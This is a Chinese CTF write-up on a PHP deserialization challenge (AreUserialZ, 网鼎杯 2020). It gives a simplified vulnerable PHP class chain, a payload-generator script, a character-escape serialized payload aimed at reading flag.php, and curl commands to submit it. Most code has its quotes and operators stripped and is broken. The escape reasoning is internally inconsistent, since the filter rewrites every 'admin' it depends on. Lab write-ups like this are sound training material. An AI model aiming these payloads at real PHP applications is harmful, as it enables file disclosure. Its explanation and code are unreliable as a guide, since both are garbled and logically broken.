1. 项目概述从一道CTF题看PHP反序列化的攻防博弈最近在复盘一些经典的CTF题目特别是网络安全竞赛里的Web方向总能发现不少值得深挖的细节。今天想和大家详细拆解的是来自“网鼎杯”2020年青龙组的一道名为AreUserialZ的题目。这道题当年卡住了不少人其核心考点是PHP反序列化漏洞的利用但又不是简单的__wakeup()绕过里面嵌套了字符逃逸、属性覆盖、原生类利用等多个技巧堪称PHP反序列化漏洞利用的一个“缝合怪”案例。对于想深入理解PHP反序列化安全、尤其是想在CTF中提升Web渗透能力的同学来说这道题是一个绝佳的练手材料。它不仅能帮你巩固反序列化的基础知识更能让你接触到在真实代码审计和漏洞利用中如何串联多个“小”问题最终达成代码执行或文件读取等目的。接下来我会带你从源码审计开始一步步分析漏洞点、构造利用链并分享我在解题和后续复现过程中总结的绕过技巧和避坑经验。2. 题目环境与源码深度审计拿到一道CTF题尤其是Web题第一步永远是信息搜集和源码分析。对于AreUserialZ我们通常能获得一个在线靶场地址或者完整的源码压缩包。假设我们已经拿到了题目环境访问首页可能是一个简单的表单或提示真正的战场在源码里。2.1 核心代码逻辑梳理通常这类题目的核心逻辑会集中在一个或几个PHP文件中。经过审计我们可能会发现类似以下结构的代码为讲解清晰我已对关键部分进行了提炼和注释?php error_reporting(0); include(flag.php); class FileClass { public $filename error.log; public function __toString() { return file_get_contents($this-filename); } } class UserClass { public $username guest; public $password guest; public $is_admin false; public $file_handler; public function __construct($username, $password) { $this-username $username; $this-password $password; } public function __wakeup() { // 关键点1唤醒时强制重置属性 $this-is_admin false; if ($this-username admin) { $this-is_admin true; } } public function __destruct() { // 关键点2析构函数是触发点 if ($this-is_admin) { echo Welcome back admin!br; if (isset($this-file_handler)) { echo $this-file_handler; // 触发 __toString() } } else { echo Hello . $this-username; } } } // 关键点3输入处理与反序列化入口 if (isset($_GET[data])) { $data $_GET[data]; // 一个看似无害的过滤 $data str_replace(admin, hacker, $data); $obj unserialize($data); } ?这就是题目的简化核心。我们的目标是读取flag.php中的内容。从代码中我们可以立刻识别出几个关键角色和障碍目标让UserClass的析构函数执行时$this-is_admin为true并且$this-file_handler是一个FileClass对象其filename属性指向flag.php。障碍1 (__wakeup): 在反序列化完成后__wakeup()魔法方法会被自动调用。这里的__wakeup()有一个“安全措施”它将$is_admin重置为false除非$username在唤醒后仍然是admin。但注意__wakeup()是在反序列化之后、属性赋值之后执行的。障碍2 (字符串替换过滤)在反序列化之前代码对输入数据执行了str_replace(admin, hacker, $data)。这意味着如果我们直接序列化一个username为admin的对象它会被修改导致__wakeup()中的判断失效。利用链我们需要通过UserClass::__destruct()-echo $this-file_handler-FileClass::__toString()-file_get_contents($this-filename)这条链来读取文件。注意在实际题目中类名、属性名、过滤规则可能更复杂或略有不同但核心模式一致。审计时务必找到unserialize()的调用点、输入过滤、以及所有相关的魔法方法__wakeup,__destruct,__toString,__get等。2.2 漏洞点与突破思路分析面对上述代码一个直接的利用思路是构造一个UserClass对象其username为adminis_admin为truefile_handler为一个FileClass对象filename设为flag.php。但两个障碍拦住了去路。首先看过滤障碍str_replace(admin, hacker, $data)。这是一个典型的“字符逃逸”或“字符串操作破坏序列化结构”的场景。PHP序列化字符串有严格的格式例如O:9:UserClass:3:{s:8:username;s:5:admin;s:8:password;s:5:admin;s:8:is_admin;b:1;}如果我们直接将admin替换为hacker字符串长度对不上s:5:admin变成了s:5:hacker不实际内容变长了会导致反序列化失败。但这里恰恰可以利用这一点。核心思路是利用过滤改变序列化字符串的长度标识从而“吞掉”后续一部分字符串使得原本被分隔的属性值发生错位最终让反序列化引擎解析出我们期望的属性值。这被称为“PHP反序列化字符逃逸”。在这个例子中我们可以精心构造一个username值使得经过str_replace后整个序列化字符串的结构发生变化但最终被成功解析时username字段的值仍然是admin。接着看__wakeup障碍即使我们通过字符逃逸让username在序列化字符串中是admin__wakeup()方法还是会在最后将其is_admin重置为false除非username属性在对象中就是admin。这里需要理解一个关键__wakeup()是在对象属性从序列化字符串中恢复之后才执行的。也就是说在__wakeup()执行时$this-username已经是反序列化得到的结果了。如果我们能通过字符逃逸让反序列化引擎在解析时不仅username是admin还能额外地、在__wakeup()执行前就修改is_admin的值或者以某种方式绕过__wakeup()的执行吗经典的__wakeup()绕过CVE-2016-7124在PHP版本小于5.6.25或7.0.10时有效即当序列化字符串中对象属性个数大于实际属性个数时__wakeup()会被跳过。但本题环境通常已修复此漏洞。因此我们需要另一种思路既然__wakeup()会执行我们就接受它执行但通过属性覆盖Property Overwrite来“击败”它。属性覆盖是PHP反序列化中一个重要的特性。如果序列化字符串中包含了对象中不存在的属性这些属性会被静默地丢弃。但是如果序列化字符串中同一个属性名出现了两次后出现的值会覆盖先出现的值。这个覆盖操作发生在__wakeup()方法执行之前。这就给我们提供了突破口我们可以在序列化字符串中先定义一个is_admin为true然后再定义一个is_admin为false或者反之。关键在于__wakeup()方法里也有一句$this-is_admin false;。我们需要理清执行顺序PHP引擎解析序列化字符串恢复对象属性发生覆盖。执行__wakeup()魔法方法。执行后续代码如触发__destruct。因此我们的攻击载荷Payload需要满足经过str_replace过滤后序列化字符串依然语法正确。反序列化后对象的username属性值为admin。反序列化后对象的is_admin属性值最终为true需要抵消__wakeup()中的赋值。file_handler属性是一个有效的FileClass对象。3. 利用链构造与Payload精心设计基于以上分析我们开始动手构造Payload。这是一个需要耐心调试的过程。3.1 基础对象序列化首先我们编写一个本地脚本生成基础对象的序列化字符串以便观察和理解结构。?php class FileClass { public $filename flag.php; } class UserClass { public $username admin; public $password anything; public $is_admin true; public $file_handler; public function __construct($u, $p) { $this-username $u; $this-password $p; } } $file new FileClass(); $user new UserClass(admin, pass); $user-file_handler $file; echo serialize($user); ?运行后可能得到具体长度可能因版本略有差异O:9:UserClass:4:{s:8:username;s:5:admin;s:8:password;s:4:pass;s:8:is_admin;b:1;s:12:file_handler;O:9:FileClass:1:{s:8:filename;s:8:flag.php;}}这个字符串直接提交会被过滤破坏。我们需要引入字符逃逸。3.2 构造字符逃逸实现属性覆盖我们的目标是让过滤后的字符串在解析时username为admin并且is_admin为true。步骤一设计逃逸载体观察过滤str_replace(admin, hacker)。admin是5个字符hacker是6个字符。每次替换字符串长度增加1。如果我们能在序列化字符串中可控的位置放入大量admin替换后会导致长度字段s:数字:指定的长度与实际字符串长度不匹配从而引发解析错位。假设我们想让username字段解析为admin。我们可以这样构造username的值admin”;s:8:“password”;s:6:“123456”;s:8:“is_admin”;b:1;}。但这只是一个想法我们需要把它嵌入到正确的序列化结构中。更实际的方法是利用PHP反序列化时根据长度读取字符串的特性。我们构造一个username其值包含许多admin。例如设置username “adminadminadmin...”并在其后精心拼接上我们想要“注入”的额外序列化数据。经过过滤admin变成hacker长度增加导致PHP在读取username字符串时会多“吃掉”后面的一些字符这些字符原本是序列化语法的一部分从而使得后面我们注入的序列化数据被提前解析为新的属性。步骤二计算逃逸长度这是一个数学问题。设我们想在username字段后“吞掉”N个字符。原始username值中有X个admin子串。过滤后每个admin变hacker长度增加1总增加长度为X。我们需要这X个额外长度刚好等于我们想要吞掉的那段序列化字符串的长度N加上username字段本身新值即我们想让解析器最终认为的username值比如admin的长度描述符所占的字符数。简化模型我们想要最终username解析为admin5字节。序列化描述是s:5:admin。如果我们通过填充物比如一堆admin使得过滤后长度膨胀让解析器在读取username值时不仅读完了我们设计的填充物和admin还多读了后面N个字符这N个字符是我们希望被“吞掉”的原有序列化结构然后恰好从我们注入的数据开始解析。这个过程需要精确计算。通常的作法是先确定我们最终希望达成的完整序列化字符串是什么样的即目标状态。然后逆向推导在username字段的值里填充多少admin才能让过滤后的字符串解析到目标状态。由于手工计算复杂我们通常编写一个小的生成脚本进行尝试和修正。步骤三融入属性覆盖为了对抗__wakeup()我们需要在注入的序列化数据中对is_admin进行两次赋值。例如...;s:8:“is_admin”;b:1;s:8:“is_admin”;b:0;...当PHP解析时第一个b:1会被第二个b:0覆盖。但注意__wakeup()中又有$this-is_admin false;。所以顺序很重要。实际上我们需要确保在__wakeup()执行后is_admin为true。但__wakeup()是硬编码的false。怎么办这里的一个技巧是利用__wakeup()中的逻辑判断。注意看源码public function __wakeup() { $this-is_admin false; // 先赋值为false if ($this-username admin) { // 如果username是admin则重新赋值为true $this-is_admin true; } }所以只要我们能让反序列化完成后$this-username admin成立__wakeup()反而会帮我们把is_admin设为true这就简化了问题。我们不再需要复杂的属性覆盖来对抗__wakeup()只需要确保username在对象中的最终值是admin即可。而字符逃逸正是用来解决过滤、保证这一点的。因此我们的最终Payload目标简化为通过字符逃逸使得过滤后的序列化字符串被解析时UserClass对象的username属性值为admin并且file_handler属性是一个指向flag.php的FileClass对象。3.3 Payload生成脚本与调试下面是一个可能的Payload生成思路的脚本示例。请注意实际题目中类名长度、属性名可能需要调整。?php class FileClass { public $filename flag.php; } class UserClass { public $username; public $password; public $is_admin; public $file_handler; } // 1. 创建目标对象 $target_obj new UserClass(); $target_obj-username admin; // 关键必须让__wakeup()看到这个 $target_obj-password anything; $target_obj-is_admin false; // 初始值无所谓__wakeup()会改 $target_obj-file_handler new FileClass(); // 2. 生成目标序列化字符串这是我们希望最终被解析出来的结构 $target_serialized serialize($target_obj); echo [Target]我们希望解析出的结构:\n . $target_serialized . \n\n; // 示例: O:9:UserClass:4:{s:8:username;s:5:admin;s:8:password;s:8:anything;s:8:is_admin;b:0;s:12:file_handler;O:9:FileClass:1:{s:8:filename;s:8:flag.php;}} // 3. 构造逃逸部分 // 我们需要在username字段里填充足够多的admin使得过滤后多出的长度刚好能“吞掉”我们不需要的一部分原有序列化结构比如第一个属性结束后的部分分隔符并让我们注入的$target_serialized接上去。 // 假设原始构造的username值为 “adminadminadmin...admin” “冗余字符” “我们注入的序列化数据” // 过滤后每个admin变hacker长度1。 // 计算需要吞掉的字符长度。 // $target_serialized 是从第一个属性开始注入的。我们需要吞掉原序列化字符串中username字段值之后、到我们想插入点之前的所有字符。 // 这需要根据原始序列化字符串来精确计算。这里展示一种手动推导后的示例 // 假设我们原始构造一个“载体”对象 $carrier_obj new UserClass(); // 我们将username设置为一个很长的、包含n个admin的字符串后面紧跟一个特殊分隔符和我们想要的$target_serialized。 // 经过反复调试假设我们计算得出需要20个admin来产生20个字符的长度差。 $n 20; // 这个n需要调试 $carrier_obj-username str_repeat(admin, $n) . ;s:8:password;s:8:anything;s:8:is_admin;b:0;s:12:file_handler;O:9:FileClass:1:{s:8:filename;s:8:flag.php;}}; // 注意这里闭合了原来的结构并开始了我们目标结构的注入。 $carrier_obj-password dummy; // 这个值会被后面注入的数据覆盖 $carrier_obj-is_admin false; $carrier_obj-file_handler null; $carrier_serialized serialize($carrier_obj); echo [Carrier]原始载体序列化:\n . $carrier_serialized . \n\n; // 4. 应用过滤 $filtered str_replace(admin, hacker, $carrier_serialized); echo [Filtered]过滤后的字符串:\n . $filtered . \n\n; // 5. 尝试反序列化过滤后的字符串看是否能得到目标对象 $result unserialize($filtered); echo [Result]反序列化结果:\n; var_dump($result); if ($result $result-username admin $result-file_handler instanceof FileClass) { echo \n*** Payload 可能成功 ***\n; echo 最终Payload (URL编码前): \n . $carrier_serialized . \n; } ?运行这个脚本不断调整$nadmin的重复次数和$carrier_obj-username中注入数据的拼接方式直到unserialize($filtered)成功产生一个username为admin且file_handler正确的对象。这个过程可能需要多次迭代。一个经验技巧是先注释掉str_replace让$carrier_serialized能被正确反序列化成我们设计的$carrier_obj。然后分析这个序列化字符串的结构找到username字段值结束的位置即第一个;。我们的目的是让过滤后PHP解析器在读取username值时读到的字节数比实际username值我们设计的填充admin多出若干字节从而使得后续的解析起点发生偏移恰好落在我们精心注入的$target_serialized的开头。最终你可能会得到一个像下面这样的有效Payload示例非真实O:9:UserClass:4:{s:8:username;s:105:adminadminadmin...admin;s:8:password;s:8:anything;s:8:is_admin;b:0;s:12:file_handler;O:9:FileClass:1:{s:8:filename;s:8:flag.php;}};s:8:password;s:5:dummy;s:8:is_admin;b:0;s:12:file_handler;N;}其中s:105:表示username字段值长度为105里面包含了大量admin。经过过滤admin变hacker长度增加导致解析器在读取username时不仅读完了所有hacker...还多读了后面的一部分字符即;s:8:password...N;}直到总数达到105。然后解析器继续解析时就会从我们注入的{s:8:password;s:8:anything...}开始而这正是我们$target_serialized的一部分从而成功创建了我们想要的对象。4. 实战利用与Flag获取一旦我们通过脚本生成了有效的Payload下一步就是在题目环境中进行实战利用。4.1 Payload提交与数据发送题目通常提供一个GET参数data来接收序列化字符串。我们需要将生成的Payload进行URL编码后提交。# 假设生成的Payload为 PAYLOADO:9:UserClass:4:{s:8:username;s:105:adminadminadmin...;s:8:password;s:8:anything;s:8:is_admin;b:0;s:12:file_handler;O:9:FileClass:1:{s:8:filename;s:8:flag.php;}};s:8:password;s:5:dummy;s:8:is_admin;b:0;s:12:file_handler;N;} # 使用curl进行请求注意URL编码 curl -G http://靶场地址/ --data-urlencode data${PAYLOAD}或者直接在浏览器中访问http://靶场地址/?dataO%3A9%3A%22UserClass%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A105%3A%22adminadminadmin...%22%3Bs%3A8%3A%22password%22%3Bs%3A8%3A%22anything%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3Bs%3A12%3A%22file_handler%22%3BO%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22dummy%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3Bs%3A12%3A%22file_handler%22%3BN%3B%7D提交后如果Payload构造正确服务器会执行反序列化触发__destruct()进而触发FileClass::__toString()读取flag.php文件内容并将结果输出到页面。我们通常会在页面看到flag.php的源代码可能包含类似$flagflag{xxx};的定义或者直接输出flag值。4.2 结果处理与Flag提取响应内容可能是HTML页面我们需要查看源代码或者直接提取flag。Flag通常有特定格式如flag{、ctf{、key{等。# 使用grep提取flag curl -s -G http://靶场地址/ --data-urlencode data${PAYLOAD} | grep -oE flag\{[^}]\}如果输出被包含在HTML注释或特定标签中可能需要调整解析方式。5. 核心技巧总结与衍生场景应对解完这道题我们不仅仅获得了一个flag更重要的是掌握了一套组合拳。下面总结几个关键技巧和它们在更广泛场景下的应用。5.1 PHP反序列化字符逃逸字符串过滤绕过这是本题的核心。当反序列化前存在字符串替换、过滤、删除操作时就可能利用其改变序列化字符串长度的特性造成解析歧义实现属性注入或对象注入。常见变体过滤删除字符例如str_replace(danger, , $data)。这会减少长度我们需要构造字符串使得删除部分字符后后面的序列化数据能“顶上来”被正确解析。计算时需要“吐出”字符。多字符替换替换前后长度差不为1。计算逃逸需要的填充物数量公式为填充物数量 * |替换后长度 - 替换前长度| 需要吞掉或吐出的字符长度。正则替换preg_replace可能更复杂但原理相通需要精确计算匹配和替换对长度的影响。实操心得手工计算非常容易出错。务必编写本地调试脚本。脚本应包含题目中的过滤函数和类定义然后循环尝试不同的填充长度并检查反序列化后的对象属性是否符合预期。这是一个“计算验证”的半自动化过程。5.2__wakeup()绕过与属性覆盖虽然本题利用__wakeup()自身的逻辑达成了目的但掌握其他绕过方法至关重要。CVE-2016-7124在旧版本PHP中如果序列化字符串中对象属性数量大于真实数量__wakeup()会被跳过。例如O:9:UserClass:5:{...}实际只有4个属性。这在一些老旧系统或特定CTF环境中可能仍有效。利用__destruct()和__wakeup()的执行顺序如果存在多个对象或者有析构函数在__wakeup()之前就能产生影响例如写入文件、删除文件可以优先利用__destruct()。寻找其他入口点如果__wakeup()无法绕过看看有没有其他魔法方法如__unserialize()在PHP 7.4或普通方法可以作为跳板。5.3 利用链的构造思维这道题展示了典型的POP链Property-Oriented Programming构造思想寻找起点找到可控的反序列化入口unserialize。寻找终点找到能达到目的的方法如file_get_contents、eval、system调用。连接起点与终点通过对象的属性和魔法方法将起点和终点连接起来。本题的链是unserialize-UserClass::__destruct()-echo-FileClass::__toString()-file_get_contents。清除路障分析链路上的每一个环节是否有过滤、是否有条件判断如is_admin、是否有方法阻碍如__wakeup。然后利用字符逃逸、属性覆盖等技巧逐一绕过。在更复杂的题目中链可能更长涉及多个类和魔法方法需要仔细阅读源码画出调用关系图。5.4 针对不同过滤的Payload构造除了字符串替换CTF中常见的其他过滤及应对过滤类型可能方式绕过思路关键字过滤preg_match(/flagsystem字符黑名单过滤、{、}等利用PHP反序列化支持用S:表示可解析的二进制字符串有时可绕过引号限制或利用其他不受影响的字符构造。类型限制检查is_string()等确保Payload符合序列化语法类型标识符s:,i:,O:正确。长度限制strlen($data) 100优化Payload使用更短的属性名如果类中定义是public序列化时属性名长度有影响或尝试最小化利用链。6. 常见踩坑点与调试指南在实战和练习中我遇到过不少坑这里分享出来希望大家能少走弯路。PHP版本差异不同PHP版本在反序列化细节上可能有差异例如对私有属性、保护属性序列化后的格式会包含\x00字符。务必在与靶场相同或相近的PHP环境下调试。使用php -v确认版本。字符串转义与编码当Payload中包含引号、反斜杠时在拼接、传输过程中容易出错。在本地生成Payload后先进行URL编码再发送。在浏览器或curl中直接使用未编码的Payload很可能因为特殊字符如,?,#被截断或解释。空格与不可见字符序列化字符串非常严格多一个空格、换行都可能导致失败。确保生成的Payload是连续的字符串没有多余的空格或换行。在编辑器中显示所有字符进行检查。属性数量不一致在构造字符逃逸Payload时我们可能改变了序列化字符串中对象属性的数量。要确保最终被解析的对象属性数量与类定义中的属性数量或经过__wakeup/__unserialize调整后的预期数量一致否则可能引发警告或错误。魔法方法的副作用除了__wakeup还要注意__construct反序列化时不会调用、__destruct一定会调用、__toString何时触发。明确它们的执行时机和可能对利用链产生的影响。错误信息利用如果题目开启了错误显示本题error_reporting(0)关闭了可以利用错误信息来调试Payload。例如如果反序列化失败PHP会警告这可能提示你哪里格式错了。使用var_dump和print_r在本地调试脚本中多使用var_dump(serialize($obj))和var_dump(unserialize($payload))来观察序列化字符串的结构和反序列化后的对象状态这是最直接的调试手段。最后这道AreUserialZ题目像是一个微型的PHP反序列化漏洞利用实验室它把字符逃逸、属性覆盖、魔法方法利用这几个关键点串在了一起。在真实世界审计代码时漏洞可能分散在不同的文件和逻辑中需要我们有耐心和敏锐度去发现和串联。多打靶场、多分析公开漏洞如ThinkPHP、Laravel反序列化链是提升这方面能力的最佳途径。每次解题后最好能写一份像这样的详细分析把思路、步骤、踩的坑都记录下来积累多了自然就能形成条件反射看到unserialize就能想到一连串的潜在风险点了。